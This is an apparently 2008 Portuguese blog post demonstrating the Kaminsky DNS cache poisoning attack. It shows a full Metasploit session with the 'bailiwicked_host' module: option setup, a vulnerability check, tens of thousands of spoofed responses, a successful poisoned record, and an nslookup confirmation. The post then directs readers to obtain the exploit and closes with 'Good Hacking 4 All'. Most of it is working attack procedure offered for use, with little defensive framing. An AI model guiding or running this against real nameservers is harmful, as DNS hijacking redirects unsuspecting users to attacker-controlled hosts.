Kaminsky DNS Cache Poisoning Flaw Exploit

Este exploit foi lançado ontem e explora uma falha na implementação de DNS do host alvo permitindo a injeção de DNS records maliciosos no cache do nameserver alvo. O exploit faz cache de uma entrada simples maliciosa no host remoto. Fazendo com que o nameserver alvo solicite respostas randômicas no domínio alvo, o atacante pode spoofar uma resposta para o servidor e adicionar uma resposta para a query, um authority server record e uma entrada adicional para o servidor, fazendo com o que o host alvo adicione o registro adicional malicioso no cache.

Abaixo segue uma demonstração da exploração da falha usando o exploit para MetaSploit:

# /msf3/msfconsole

_ _ _ _
| | | | (_) |
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| ‘_ ` _ \ / _ \ __/ _` / __| ‘_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|

=[ msf v3.2-release
+ — –=[ 298 exploits – 124 payloads
+ — –=[ 18 encoders – 6 nops
=[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

Name Current Setting Required Description
—- ————— ——– ———–
HOSTNAME pwned.example.com yes Hostname to hijack
NEWADDR 1.3.3.7 yes New address for hostname
RECONS 208.67.222.222 yes Nameserver used for reconnaissance
RHOST yes The target address
SRCPORT yes The target server’s source query port (0 for automatic)
XIDS 10 yes Number of XIDs to try for each query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability…
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.’s nameservers…
[*] Got answer with 2 answers, 0 authorities
[*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com….
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com….
[*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com….
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com….
[*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178…
[*] Sent 1000 queries and 20000 spoofed responses…
[*] Sent 2000 queries and 40000 spoofed responses…
[*] Sent 3000 queries and 60000 spoofed responses…
[*] Sent 4000 queries and 80000 spoofed responses…
[*] Sent 5000 queries and 100000 spoofed responses…
[*] Sent 6000 queries and 120000 spoofed responses…
[*] Sent 7000 queries and 140000 spoofed responses…
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D

Server: A.B.C.D
Address: A.B.C.D#53

Non-authoritative answer:
Name: pwned.example.com
Address: 1.3.3.7

Este exploit foi testado com o BIND 9.4.1 e 9.4.2.

Para quem quiser testar esta falha o exploit já esta disponível no CVS do metasploit, bastando que você atualize sua versão via “snv update”

http://www.caughq.org/exploits/CAU-EX-2008-0002.txt

Good Hacking 4 All

Advertisements

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s